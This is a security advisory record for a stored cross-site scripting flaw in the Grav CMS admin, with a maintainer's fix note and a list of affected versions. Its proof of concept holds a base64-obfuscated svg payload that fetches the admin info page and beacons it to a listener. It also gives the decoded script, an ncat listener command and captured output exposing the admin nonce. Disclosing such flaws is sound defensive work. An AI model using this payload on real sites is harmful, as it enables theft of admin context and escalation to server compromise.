{"id":"GHSA-w8cg-7jcj-4vv2","summary":"Grav is Vulnerable to Stored XSS via Tag Injection","details":"### Summary\nA low-privileged (with the ability to create a page) user can cause XSS with the injection of `svg` element. The XSS can further be escalated to dump the entire system information available under `/admin/config/info` whenever a Super Admin visits the page; which can further be chained with the use of admin-nonce to do a complete server compromise (RCE).\n\n### Details\nAffected endpoint: `admin/pages/\u003cpage\u003e`\nAffected code: `system/src/Grav/Common/Security.php`\n\n```php\n    public static function detectXss($string, array $options = null): ?string\n    {\n        // Skip any null or non string values\n        if (null === $string || !is_string($string) || empty($string)) {\n            return null;\n        }\n\n        if (null === $options) {\n            $options = static::getXssDefaults();\n        }\n\n        $enabled_rules = (array)($options['enabled_rules'] ?? null);\n        $dangerous_tags = (array)($options['dangerous_tags'] ?? null);\n        if (!$dangerous_tags) {\n            $enabled_rules['dangerous_tags'] = false;\n        }\n        $invalid_protocols = (array)($options['invalid_protocols'] ?? null);\n        if (!$invalid_protocols) {\n            $enabled_rules['invalid_protocols'] = false;\n        }\n        $enabled_rules = array_filter($enabled_rules, static function ($val) { return !empty($val); });\n        if (!$enabled_rules) {\n            return null;\n        }\n\n        // Keep a copy of the original string before cleaning up\n        $orig = $string;\n\n        // URL decode\n        $string = urldecode($string);\n\n        // Convert Hexadecimals\n        $string = (string)preg_replace_callback('!(&#|\\\\\\)[xX]([0-9a-fA-F]+);?!u', static function ($m) {\n            return chr(hexdec($m[2]));\n        }, $string);\n\n        // Clean up entities\n        $string = preg_replace('!(&#[0-9]+);?!u', '$1;', $string);\n\n        // Decode entities\n        $string = html_entity_decode($string, ENT_NOQUOTES | ENT_HTML5, 'UTF-8');\n\n        // Strip whitespace characters\n        $string = preg_replace('!\\s!u', ' ', $string);\n        $stripped = preg_replace('!\\s!u', '', $string);\n\n        // Set the patterns we'll test against\n        $patterns = [\n            // Match any attribute starting with \"on\" or xmlns\n            'on_events' =\u003e '#(\u003c[^\u003e]+[a-z\\x00-\\x20\\\"\\'\\/])(on[a-z]+|xmlns)\\s*=[\\s|\\'\\\"].*[\\s|\\'\\\"]\u003e#iUu',\n\n            // Match javascript:, livescript:, vbscript:, mocha:, feed: and data: protocols\n            'invalid_protocols' =\u003e '#(' . implode('|', array_map('preg_quote', $invalid_protocols, ['#'])) . ')(:|\\&\\#58)\\S.*?#iUu',\n\n            // Match -moz-bindings\n            'moz_binding' =\u003e '#-moz-binding[a-z\\x00-\\x20]*:#u',\n\n            // Match style attributes\n            'html_inline_styles' =\u003e '#(\u003c[^\u003e]+[a-z\\x00-\\x20\\\"\\'\\/])(style=[^\u003e]*(url\\:|x\\:expression).*)\u003e?#iUu',\n\n            // Match potentially dangerous tags\n            'dangerous_tags' =\u003e '#\u003c/*(' . implode('|', array_map('preg_quote', $dangerous_tags, ['#'])) . ')[^\u003e]*\u003e?#ui'\n        ];\n\n        // Iterate over rules and return label if fail\n        foreach ($patterns as $name =\u003e $regex) {\n            if (!empty($enabled_rules[$name])) {\n                if (preg_match($regex, $string) || preg_match($regex, $stripped) || preg_match($regex, $orig)) {\n                    return $name;\n                }\n            }\n        }\n\n        return null;\n    }\n```\n\nSpecifically the line:\n\n```php\n'on_events' =\u003e '#(\u003c[^\u003e]+[a-z\\x00-\\x20\\\"\\'\\/])(on[a-z]+|xmlns)\\s*=[\\s|\\'\\\"].*[\\s|\\'\\\"]\u003e#iUu',\n```\n\nassumes that the on_events will always begin with either `whitespace, ', \"` which can easily be bypassed with a simple payload like:\n\n`\u003cimg src=x onload=alert('1')\u003e`\n\nThis XSS Filter practice is broken.\n1. Blacklisting every possible scenario that leads to XSS isn't possible.\n2. Regex can't parse HTML.\n\nIt would be better to use an HTMLPurifier.\n### PoC\nGrav Core + Admin Plugin\nGrav Version: `v1.7.49.5 - Admin v1.10.49.1`\n\n1. Create a low-privileged user with only enough permission to login and perform CRUD on Pages.\n![User Perms](https://imgur.com/VkhtE9L.png)\n\n2. Login as the low-privileged user and browse to pages:\n![Pages](https://imgur.com/4bmmozN.png)\n\n3. Create a post with the following content:\n```\n\u003csvg\u003e\u003cforeignObject\u003e\u003cimg src=x onerror=eval(atob('KGFzeW5jKCk9PntsZXQgcj1hd2FpdCBmZXRjaCgnL2dyYXYtYWRtaW4vYWRtaW4vY29uZmlnL2luZm8nKTtsZXQgdD1hd2FpdCByLnRleHQoKTtuYXZpZ2F0b3Iuc2VuZEJlYWNvbignaHR0cDovLzEyNy4wLjAuMTo4MDAxL2dyYXYtbG9nJyx0KX0pKCk7'))\u003e\u003c/foreignObject\u003e\u003c/svg\u003e\n```\n\nThe payload base64 is decoded to: \n\n```javascript\n(async()=\u003e{let r=await fetch('/grav-admin/admin/config/info');let t=await r.text();navigator.sendBeacon('http://127.0.0.1:8001/grav-log',t)})();\n```\n\nwhenever a user with enough privilege visits the attacker-controlled page, a request will be made to the `info` endpoint and the response will be sent to attacker beacon/listener.\n\n4. Save\n![Post Created](https://imgur.com/o33Erj2.png)\n\n5. Start a `ncat` listener on port `8001`.\n\n```bash\n┌──(kali㉿kali)-[~]\n└─$ ncat -lvnp 8001\nNcat: Version 7.95 ( https://nmap.org/ncat )\nNcat: Listening on [::]:8001\nNcat: Listening on [0.0.0.0:8001](http://0.0.0.0:8001/)\nNcat: Connection from [127.0.0.1:44658](http://127.0.0.1:44658/).\n```\n\n6. Now as a Super Admin visit the `/` of Grav `[http://localhost/grav-admin/`](http://localhost/grav-admin/) for me:\n![Visiting Grav](https://imgur.com/kjt7uc9.png)\n\n7. We get a response with the `admin-nonce` and the entire system information:\n\n```\n┌──(kali㉿kali)-[~]\n└─$ ncat -lvnp 8001\nNcat: Version 7.95 ( https://nmap.org/ncat )\nNcat: Listening on [::]:8001\nNcat: Listening on [0.0.0.0:8001](http://0.0.0.0:8001/)\nNcat: Connection from [127.0.0.1:44658](http://127.0.0.1:44658/).\nPOST /grav-log HTTP/1.1\nHost: [127.0.0.1:8001](http://127.0.0.1:8001/)\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br, zstd\nContent-Type: text/plain;charset=UTF-8\nContent-Length: 127013\nOrigin: http://localhost/\nConnection: keep-alive\nReferer: http://localhost/\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: no-cors\nSec-Fetch-Site: cross-site\nPriority: u=6\n\n    \u003c!DOCTYPE html\u003e\n    \u003chtml lang=\"en\"\u003e\n    \u003chead\u003e\n            \u003cmeta charset=\"utf-8\" /\u003e\n        \u003ctitle\u003eConfiguration: Info | Grav\u003c/title\u003e\n                    \u003cmeta name=\"description\" content=\"\"\u003e\n                            \u003cmeta name=\"robots\" content=\"noindex, nofollow\"\u003e\n                \u003cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"\u003e\n        \u003clink rel=\"icon\" type=\"image/png\" href=\"/grav-admin/user/plugins/admin/themes/grav/images/favicon.png\"\u003e\n\n                                   \n\n       \n        \u003cscript type=\"text/javascript\"\u003e\n    window.GravAdmin = window.GravAdmin || {};\n    window.GravAdmin.config = {\n        current_url: '/grav-admin/admin/config/info',\n        base_url_relative: '/grav-admin/admin',\n        base_url_simple: '/grav-admin',\n        route: 'info',\n        param_sep: ':',\n                enable_auto_updates_check: '1',\n                admin_timeout: '1800',\n        admin_nonce: '1265db72d897b4324cbe7d1781e66e3b',\n       \n       \n\u003cSNIPPED\u003e\n```\n\n### Impact\n\nThis is a **Stored Cross-Site Scripting (XSS)** vulnerability exploitable by a low-privileged user, which leads to **exfiltration of the admin session context**, including the **`admin_nonce`**. This nonce can be abused to **bypass CSRF protections** and **authenticate further requests** to sensitive admin endpoints. Given Grav’s support for **scheduled tasks** and extensible plugin architecture, this can be escalated to **Remote Code Execution (RCE)** under favorable conditions.\n\n**Affected Component**: Grav Core + Admin Plugin (`v1.7.49.5` / `v1.10.49.1`)  \n**Impact**: Full system compromise via RCE chain originating from low-privilege XSS.\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H`\n`Overall CVSS Score: 9.0`\n`High Impact`\n\n---\n\n\n---\n\n## Maintainer note — fix applied (2026-04-24)\n\nFixed in Grav core on the `2.0` branch: commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8) — will ship in **2.0.0-beta.2**. Two changes in tandem:\n\n1. **Regex bypass** (detection layer) — the `on_events` regex that missed unquoted handlers is tightened; see the companion GHSA-9695-8fr9-hw5q advisory for details.\n\n2. **Missing dangerous tags** — `svg`, `math`, `option`, and `select` have been added to default `security.xss_dangerous_tags` in [`system/config/security.yaml`](https://github.com/getgrav/grav/blob/2.0/system/config/security.yaml). `svg` and `math` allow inline scripting through their XML namespace and event-handler surface; `option`/`select` are the tags attackers use to break out of the admin's select-template context before dropping the payload.\n\nCombined with the tightened `on_events` regex, the PoC `\u003csvg\u003e…\u003cscript\u003e…\u003c/script\u003e\u003c/svg\u003e` (and the GHSA-c2q3 `\u003c/option\u003e\u003c/select\u003e\u003cimg src=x onerror=alert(1)\u003e` variant) now trip at least one detector.\n\n**Files:**\n- [`system/config/security.yaml`](https://github.com/getgrav/grav/blob/2.0/system/config/security.yaml) — dangerous-tags list extended.\n- [`system/src/Grav/Common/Security.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Security.php) — regex tightening.\n- [`tests/unit/Grav/Common/Security/DetectXssTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/DetectXssTest.php).","aliases":["CVE-2026-42611"],"modified":"2026-09-10T03:50:47.890497332Z","published":"2026-05-05T21:36:27Z","database_specific":{"cwe_ids":["CWE-79"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-05T21:36:27Z","nvd_published_at":"2026-05-11T16:17:34Z"},"references":[{"type":"WEB","url":"https://github.com/getgrav/grav/security/advisories/GHSA-w8cg-7jcj-4vv2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42611"},{"type":"WEB","url":"https://github.com/getgrav/grav/commit/5a12f9be8314682c8713e569e330f11805d0a663"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"}],"affected":[{"package":{"name":"getgrav/grav","ecosystem":"Packagist","purl":"pkg:composer/getgrav/grav"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.0-beta.2"}]}],"versions":["0.8.0","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.34","0.9.35","0.9.36","0.9.37","0.9.38","0.9.39","0.9.4","0.9.40","0.9.41","0.9.42","0.9.43","0.9.44","0.9.45","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0-rc.1","1.0.0-rc.2","1.0.0-rc.3","1.0.0-rc.4","1.0.0-rc.5","1.0.0-rc.6","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.0-beta.3","1.1.0-beta.4","1.1.0-beta.5","1.1.0-rc.1","1.1.0-rc.2","1.1.0-rc.3","1.1.1","1.1.10","1.1.11","1.1.12","1.1.13","1.1.14","1.1.15","1.1.16","1.1.17","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.1.9-rc.1","1.1.9-rc.2","1.1.9-rc.3","1.2.0","1.2.0-rc.1","1.2.0-rc.2","1.2.0-rc.3","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.0-rc.1","1.3.0-rc.2","1.3.0-rc.3","1.3.0-rc.4","1.3.0-rc.5","1.3.1","1.3.10","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0-beta.1","1.4.0-beta.2","1.4.0-beta.3","1.4.0-rc.1","1.4.0-rc.2","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.0-beta.1","1.5.0-beta.2","1.5.0-rc.1","1.5.1","1.5.10","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.5.8","1.5.9","1.6.0","1.6.0-beta.1","1.6.0-beta.2","1.6.0-beta.3","1.6.0-beta.4","1.6.0-beta.5","1.6.0-beta.6","1.6.0-beta.7","1.6.0-beta.8","1.6.0-rc.1","1.6.0-rc.2","1.6.0-rc.3","1.6.0-rc.4","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.14","1.6.15","1.6.16","1.6.17","1.6.18","1.6.19","1.6.2","1.6.20","1.6.21","1.6.22","1.6.23","1.6.24","1.6.25","1.6.26","1.6.27","1.6.28","1.6.29","1.6.3","1.6.30","1.6.31","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.0-beta.1","1.7.0-beta.10","1.7.0-beta.2","1.7.0-beta.3","1.7.0-beta.4","1.7.0-beta.5","1.7.0-beta.6","1.7.0-beta.7","1.7.0-beta.8","1.7.0-beta.9","1.7.0-rc.1","1.7.0-rc.10","1.7.0-rc.11","1.7.0-rc.12","1.7.0-rc.13","1.7.0-rc.14","1.7.0-rc.15","1.7.0-rc.16","1.7.0-rc.17","1.7.0-rc.18","1.7.0-rc.19","1.7.0-rc.2","1.7.0-rc.20","1.7.0-rc.3","1.7.0-rc.4","1.7.0-rc.5","1.7.0-rc.6","1.7.0-rc.7","1.7.0-rc.8","1.7.0-rc.9","1.7.1","1.7.10","1.7.12","1.7.13","1.7.14","1.7.15","1.7.16","1.7.17","1.7.18","1.7.19","1.7.20","1.7.21","1.7.22","1.7.23","1.7.24","1.7.25","1.7.26","1.7.26.1","1.7.27","1.7.27.1","1.7.28","1.7.29","1.7.29.1","1.7.3","1.7.30","1.7.31","1.7.32","1.7.33","1.7.34","1.7.35","1.7.36","1.7.37","1.7.37.1","1.7.38","1.7.39","1.7.39.1","1.7.39.2","1.7.39.3","1.7.39.4","1.7.4","1.7.40","1.7.41","1.7.41.1","1.7.41.2","1.7.42","1.7.42.1","1.7.42.2","1.7.42.3","1.7.43","1.7.44","1.7.45","1.7.46","1.7.47","1.7.48","1.7.49","1.7.49.1","1.7.49.2","1.7.49.3","1.7.49.4","1.7.49.5","1.7.5","1.7.51","1.7.52","1.7.53","1.7.53.1","1.7.53.2","1.7.53.3","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0-beta.1","1.8.0-beta.10","1.8.0-beta.11","1.8.0-beta.12","1.8.0-beta.13","1.8.0-beta.14","1.8.0-beta.15","1.8.0-beta.16","1.8.0-beta.17","1.8.0-beta.18","1.8.0-beta.19","1.8.0-beta.2","1.8.0-beta.20","1.8.0-beta.21","1.8.0-beta.22","1.8.0-beta.23","1.8.0-beta.24","1.8.0-beta.25","1.8.0-beta.26","1.8.0-beta.27","1.8.0-beta.28","1.8.0-beta.29","1.8.0-beta.3","1.8.0-beta.4","1.8.0-beta.5","1.8.0-beta.6","1.8.0-beta.7","1.8.0-beta.8","1.8.0-beta.9","2.0.0-beta.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-w8cg-7jcj-4vv2/GHSA-w8cg-7jcj-4vv2.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H"}]}